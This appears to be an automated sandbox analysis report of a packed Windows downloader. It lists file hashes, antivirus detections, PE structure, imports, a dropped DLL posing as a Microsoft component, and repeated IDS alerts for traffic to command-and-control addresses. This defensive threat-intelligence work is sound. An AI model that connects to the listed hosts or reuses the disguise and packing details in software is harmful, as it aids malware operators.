SHA-256:	1BE0A5BC5909E52ADEDEF33180FD96750367C7F57A6919BFE10481D1B68BF3D7
SHA-512:	E00BB020C2AAE3C53CC05551E1687AB20A8DE67047F358332CBF7B345B6F180898BB91681D70318CE77E2CF437BF2D17A63E7405CD781403C6D48291FDC42D39
Malicious:	false
Preview:	..2024-12-11 13:36..iOffset....2024-12-11 17:04..iOffset....2024-12-11 20:11..iOffset....2024-12-11 23:38..iOffset....2024-12-12 01:49..iOffset....2024-12-12 05:17..iOffset....2024-12-12 08:50..iOffset....2024-12-12 10:33..iOffset....2024-12-12 15:22..iOffset....2024-12-12 17:33..iOffset....2024-12-12 21:17..iOffset....2024-12-12 23:00..iOffset....2024-12-13 03:14..iOffset....2024-12-13 08:39..iOffset....2024-12-13 13:04..iOffset....2024-12-13 18:14..iOffset....2024-12-14 00:22..iOffset....2024-12-14 07:20..iOffset....2024-12-14 19:10..iOffset....2024-12-15 01:33..iOffset....2024-12-15 19:58..iOffset....2024-12-16 04:29..iOffset....2024-12-16 16:59..iOffset....2024-12-17 14:57..iOffset....2024-12-18 00:58..iOffset....2024-12-18 11:10..iOffset....2024-12-18 20:06..iOffset....2025-05-06 23:00..iOffset....2025-09-05 04:25..iOffset....2025-09-27 15:12..iOffset....2025-10-17 18:52..iOffset....2025-11-09 15:01..iOffset....2025-12-15 13:52..iOffset....2026-02-02 16:22..iOffset....2026-03-11 0

C:\agtve\yhnvs.dll

Download File

Process:	C:\ufcpp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	43464
Entropy (8bit):	7.908920555883916
Encrypted:	false
SSDEEP:	768:t0inj1jJ5OeUMhBNSqHvMjjAipMkuG30sv2xEZkWldADAKPIp:t0ipV5uMhBt0jjAiusv22ZkWTOAKP8
MD5:	36E3FB5964D663272CF1169E1E1CA478
SHA1:	58115E08B49505BCBBB5C88A28A86222BA18D5D4
SHA-256:	C7C41689DE030DF0F78F471422FA2A6383B36E77C94E7F6F124A96FEB3E27ED7
SHA-512:	DAFF53B11AA400437A06287707A334A09661C1EF7D0FD8BEAF1A874C79C16FE45BD1188343D0623E839D3EAD5EA2DD90896E37CCF3B252C7220C74989A9BA442
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ@.....................@.............!.L.!packed by nspack$@...PE..L...u..U...........!................................................................................................. ..8.......x............................ ...............................................................K......................nsp0................................`...nsp1...............................`...............D.................................................... .......K.......................text..................................................UBome........0..........UBome........H...X.................4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...................z.......z.?.................................S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.E.4...L.....C.o.m.p.a.n.y.N.a.m.e.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...x.(...F.i.l.e.D.e.s.c.r.i.p.t.i.o.n.....P.a.g.e. .M.a.n.a.g.e.m.e.n.t. .M.o.d.u.l.e. .f.o.r. .S.c.a.n.S.o.f.t. .S.D.K...>.....F.i.l.e.V.e.r.s.i.o.n.....1.4...0...4.7.3.0...

C:\ufcpp.exe

Download File

Process:	C:\Users\user\Desktop\otsIBG7J9b.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72438
Entropy (8bit):	7.005065563083021
Encrypted:	false
SSDEEP:	768:qGHV45EDE477AZbUJx0rZGE3jCELoiMMj6hZ3nE+EXVmkDbjRL8Khc15Z6J1Sb:qG14P477AxUYrZGoC09k0SkTRHhWqPO
MD5:	1B4C7D94BCF61F9CCE0B29C2D879EE73
SHA1:	C393499F2BE86711B11CA50F74EAE4E88F7690A7
SHA-256:	D8DFA5523D81ED408E22E11823412EF164E28F757CFC1C49E7811CE1C849959D
SHA-512:	4266BEFB42A4A0918B92C4F97027062D8F4606FAB8513A254CD4DE5764058E3C946766E3C4C0860A9F5641A9B9D15E52BE9AB1E8EB671E23935CD0F1E2B516AD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ@.....................@....N........!.L.!packed by nspack$@...PE..L...@..U.........................@...........P....@..........................P..............................................t].......P..............................................................................................................nsp0.....@..........`...............`...nsp1....D....P......................`....................................................................P.. ............................text....<.......@......................8...8.......x...............................................P.......................h...T..................t..UBome................................t..UBome................h...............t..UBome...............h...............t..UBome.............W..h...............t..UBome....@...@...X...h...p...........t..UBome........X....R..................t..UBome.............A..................t..UBome............0A..................t..UBome................t..UBome............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.004377406143019
TrID:	Win32 Executable (generic) a (10002005/4) 99.98% DOS Executable Generic (2002/1) 0.02%
File name:	otsIBG7J9b.exe
File size:	72'381 bytes
MD5:	8a971e9fe9fa2c3005ee1eb9c143b331
SHA1:	80260d696b4a945acddb747c3beb97604a060d70
SHA256:	04cc92b4e0f79ba841ba3c76651c8968d6525d4805829dd875f7a34034ffa460
SHA512:	12a8654c1fdff024759b99e0d0ed480edbc8c95e6748abb38b546a78cf1e08a1e96a9d5dc744d30d9d9b7687d13f1ee4fcc2bf490d07e18a05a53371eb276dc6
SSDEEP:	768:qGHV45EDE477AZbUJx0rZGE3jCELoiMMj6hZ3nE+EXVmkDbjRL8Khc15Z6J1S:qG14P477AxUYrZGoC09k0SkTRHhWqP
TLSH:	3B63E18E0BB3C32AEC853A3EE8E449F59161ED59D8220B1783813C6E7D72141DF93A02
File Content Preview:	MZ@.....................@....N........!.L.!packed by nspack$@...PE..L...@..U.........................@...........P....@..........................P..............................................t].......P.....................................................

File Icon


Icon Hash:	2f756cf369ecd065

Static PE Info

General

Entrypoint:	0x40101b
Entrypoint Section:	nsp0
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x55F3B340 [Sat Sep 12 05:08:16 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	8e7540d25ee886289aff68695996cf6f

Entrypoint Preview

Instruction
jmp 00007F4AA08F4B1Fh
mov ah, 09h
mov edx, 21CD010Bh
mov ah, 4Ch
int 21h
jo 00007F4AA08DFCB3h
arpl word ptr [ebx+65h], bp
and byte ptr fs:[edx+79h], ah
and byte ptr [esi+73h], ch
jo 00007F4AA08DFCB3h
arpl word ptr [ebx+24h], bp
inc eax
add byte ptr [eax], al
add byte ptr [eax+45h], dl
add byte ptr [eax], al
dec esp
add dword ptr [edx], eax
add byte ptr [eax-4Dh], al
push ebp
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
loopne 00007F4AA08DFC52h
sidt fword ptr [ebx]
add dword ptr [esi], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
lock add byte ptr [eax], al
add byte ptr [eax+01h], al
add byte ptr [ebx], bl
adc byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
push eax
add dword ptr [eax], eax
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+02h], dl
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [esi+020001DDh], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15d74	0x8c	nsp1
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x15000	0xc84	nsp1
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
nsp0	0x1000	0x14000	0xb7	32023ca0ec4048f354fdf9364e5db998	False	0.6775956284153005	PE32 executable (GUI) Intel 80386, for MS Windows	3.202517066181799	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nsp1	0x15000	0xf744	0xe098	3163b2dc5cebdab60c6a527be23517dc	False	0.954605537776541	data	7.905412884484882	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
HTM	0x9754	0xa9c8	empty	Chinese	China	0
RT_ICON	0x8c84	0x568	empty			0
RT_ICON	0x91ec	0x568	empty			0
RT_ICON	0x1571c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.14739884393063585
RT_GROUP_ICON	0x15280	0x14	data			1.25
RT_GROUP_ICON	0x1411c	0x14	empty			0
RT_GROUP_ICON	0x14130	0x14	empty			0
RT_VERSION	0x15294	0x488	data	English	United States	0.3741379310344828
None	0x14144	0xaa	empty	Chinese	China	0

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
MFC42.DLL
MSVCRT.DLL	_controlfp
USER32.DLL	IsIconic
OLE32.DLL	CoInitialize
OLEAUT32.DLL	SysAllocStringLen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64270	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49353	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49191	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65253	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64406	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65101	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64546	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64868	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49188	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64711	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64990	107.163.241.232	12354	TCP
2024-12-11T16:24:36.157878+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49753	107.163.241.232	12354	TCP
2024-12-11T16:24:36.157882+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49754	107.163.241.232	12354	TCP
2024-12-11T16:24:38.514508+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49771	107.163.241.232	12354	TCP
2024-12-11T16:24:38.518621+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49772	107.163.241.232	12354	TCP
2024-12-11T16:24:39.390346+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49780	202.108.0.52	80	TCP
2024-12-11T16:24:40.292310+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49788	107.163.241.232	12354	TCP
2024-12-11T16:24:40.292406+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49790	107.163.241.232	12354	TCP
2024-12-11T16:24:42.096696+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49808	202.108.0.52	80	TCP
2024-12-11T16:24:42.536858+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49805	107.163.241.232	12354	TCP
2024-12-11T16:24:42.643495+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49807	107.163.241.232	12354	TCP
2024-12-11T16:24:44.306708+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49823	107.163.241.232	12354	TCP
2024-12-11T16:24:44.306728+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49826	107.163.241.232	12354	TCP
2024-12-11T16:24:46.116860+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49844	202.108.0.52	80	TCP
2024-12-11T16:24:46.548874+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49842	107.163.241.232	12354	TCP
2024-12-11T16:24:46.661184+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49845	107.163.241.232	12354	TCP
2024-12-11T16:24:48.484657+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49861	107.163.241.232	12354	TCP
2024-12-11T16:24:48.490055+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49860	107.163.241.232	12354	TCP
2024-12-11T16:24:50.725707+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49873	107.163.241.232	12354	TCP
2024-12-11T16:24:50.878227+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49876	107.163.241.232	12354	TCP
2024-12-11T16:24:52.478623+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49895	107.163.241.232	12354	TCP
2024-12-11T16:24:52.478655+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49896	107.163.241.232	12354	TCP
2024-12-11T16:24:54.721811+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49910	107.163.241.232	12354	TCP
2024-12-11T16:24:54.834910+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49913	107.163.241.232	12354	TCP
2024-12-11T16:24:56.482117+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49932	107.163.241.232	12354	TCP
2024-12-11T16:24:56.482225+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49930	107.163.241.232	12354	TCP
2024-12-11T16:24:58.891215+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49947	107.163.241.232	12354	TCP
2024-12-11T16:24:58.891228+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49949	107.163.241.232	12354	TCP
2024-12-11T16:25:00.494438+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49971	107.163.241.232	12354	TCP
2024-12-11T16:25:00.494489+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49969	107.163.241.232	12354	TCP
2024-12-11T16:25:02.735683+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49985	107.163.241.232	12354	TCP
2024-12-11T16:25:02.844422+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49987	107.163.241.232	12354	TCP
2024-12-11T16:25:04.494699+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50008	107.163.241.232	12354	TCP
2024-12-11T16:25:04.494714+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50005	107.163.241.232	12354	TCP
2024-12-11T16:25:06.736002+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50024	107.163.241.232	12354	TCP
2024-12-11T16:25:06.842788+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50027	107.163.241.232	12354	TCP
2024-12-11T16:25:08.494548+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50048	107.163.241.232	12354	TCP
2024-12-11T16:25:08.494721+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50046	107.163.241.232	12354	TCP
2024-12-11T16:25:10.735319+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50064	107.163.241.232	12354	TCP
2024-12-11T16:25:10.845892+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50066	107.163.241.232	12354	TCP
2024-12-11T16:25:12.509947+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50088	107.163.241.232	12354	TCP
2024-12-11T16:25:12.509981+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50086	107.163.241.232	12354	TCP
2024-12-11T16:25:14.750650+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50104	107.163.241.232	12354	TCP
2024-12-11T16:25:14.860488+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50106	107.163.241.232	12354	TCP
2024-12-11T16:25:16.525402+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50131	107.163.241.232	12354	TCP
2024-12-11T16:25:16.525444+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50129	107.163.241.232	12354	TCP
2024-12-11T16:25:18.769808+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50147	107.163.241.232	12354	TCP
2024-12-11T16:25:18.876156+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50150	107.163.241.232	12354	TCP
2024-12-11T16:25:20.525455+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50175	107.163.241.232	12354	TCP
2024-12-11T16:25:20.525506+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50173	107.163.241.232	12354	TCP
2024-12-11T16:25:22.792505+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50192	107.163.241.232	12354	TCP
2024-12-11T16:25:22.891593+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50195	107.163.241.232	12354	TCP
2024-12-11T16:25:24.541239+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50226	107.163.241.232	12354	TCP
2024-12-11T16:25:24.541291+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50223	107.163.241.232	12354	TCP
2024-12-11T16:25:26.831324+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50240	107.163.241.232	12354	TCP
2024-12-11T16:25:26.945832+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50243	107.163.241.232	12354	TCP
2024-12-11T16:25:28.556573+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50270	107.163.241.232	12354	TCP
2024-12-11T16:25:28.556587+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50267	107.163.241.232	12354	TCP
2024-12-11T16:25:30.815887+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50295	107.163.241.232	12354	TCP
2024-12-11T16:25:30.908704+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50298	107.163.241.232	12354	TCP
2024-12-11T16:25:32.556917+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50324	107.163.241.232	12354	TCP
2024-12-11T16:25:32.556918+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50321	107.163.241.232	12354	TCP
2024-12-11T16:25:34.814073+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50356	107.163.241.232	12354	TCP
2024-12-11T16:25:34.907607+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50359	107.163.241.232	12354	TCP
2024-12-11T16:25:36.584446+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50389	107.163.241.232	12354	TCP
2024-12-11T16:25:36.584477+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50392	107.163.241.232	12354	TCP
2024-12-11T16:25:38.816702+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50423	107.163.241.232	12354	TCP
2024-12-11T16:25:38.938875+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50429	107.163.241.232	12354	TCP
2024-12-11T16:25:40.596717+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50470	107.163.241.232	12354	TCP
2024-12-11T16:25:40.599334+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50467	107.163.241.232	12354	TCP
2024-12-11T16:25:42.876772+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50500	107.163.241.232	12354	TCP
2024-12-11T16:25:43.036718+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50502	107.163.241.232	12354	TCP
2024-12-11T16:25:44.775395+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50563	107.163.241.232	12354	TCP
2024-12-11T16:25:44.775418+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50557	107.163.241.232	12354	TCP
2024-12-11T16:25:47.035608+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50618	107.163.241.232	12354	TCP
2024-12-11T16:25:47.128262+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50622	107.163.241.232	12354	TCP
2024-12-11T16:25:48.775656+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50692	107.163.241.232	12354	TCP
2024-12-11T16:25:48.775720+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50687	107.163.241.232	12354	TCP
2024-12-11T16:25:51.004471+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50748	107.163.241.232	12354	TCP
2024-12-11T16:25:51.130712+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50753	107.163.241.232	12354	TCP
2024-12-11T16:25:52.776134+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50835	107.163.241.232	12354	TCP
2024-12-11T16:25:52.776552+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50837	107.163.241.232	12354	TCP
2024-12-11T16:25:55.020598+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50912	107.163.241.232	12354	TCP
2024-12-11T16:25:55.128647+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50919	107.163.241.232	12354	TCP
2024-12-11T16:25:56.792472+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51050	107.163.241.232	12354	TCP
2024-12-11T16:25:56.792542+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51045	107.163.241.232	12354	TCP
2024-12-11T16:25:59.036648+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51141	107.163.241.232	12354	TCP
2024-12-11T16:25:59.143436+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51148	107.163.241.232	12354	TCP
2024-12-11T16:26:00.806896+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51284	107.163.241.232	12354	TCP
2024-12-11T16:26:00.806916+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51278	107.163.241.232	12354	TCP
2024-12-11T16:26:03.211497+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51378	107.163.241.232	12354	TCP
2024-12-11T16:26:03.212486+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51386	107.163.241.232	12354	TCP
2024-12-11T16:26:04.856856+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51468	107.163.241.232	12354	TCP
2024-12-11T16:26:04.856876+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51478	107.163.241.232	12354	TCP
2024-12-11T16:26:07.095423+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51568	107.163.241.232	12354	TCP
2024-12-11T16:26:07.224592+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51577	107.163.241.232	12354	TCP
2024-12-11T16:26:08.958613+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51666	107.163.241.232	12354	TCP
2024-12-11T16:26:08.958711+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51658	107.163.241.232	12354	TCP
2024-12-11T16:26:11.210836+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51739	107.163.241.232	12354	TCP
2024-12-11T16:26:11.312796+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51741	107.163.241.232	12354	TCP
2024-12-11T16:26:12.978532+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	52288	107.163.241.232	12354	TCP
2024-12-11T16:26:12.978584+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	52374	107.163.241.232	12354	TCP
2024-12-11T16:26:15.223621+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	53686	107.163.241.232	12354	TCP
2024-12-11T16:26:15.333014+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	53818	107.163.241.232	12354	TCP
2024-12-11T16:26:16.994407+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	55673	107.163.241.232	12354	TCP
2024-12-11T16:26:16.994437+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	55654	107.163.241.232	12354	TCP
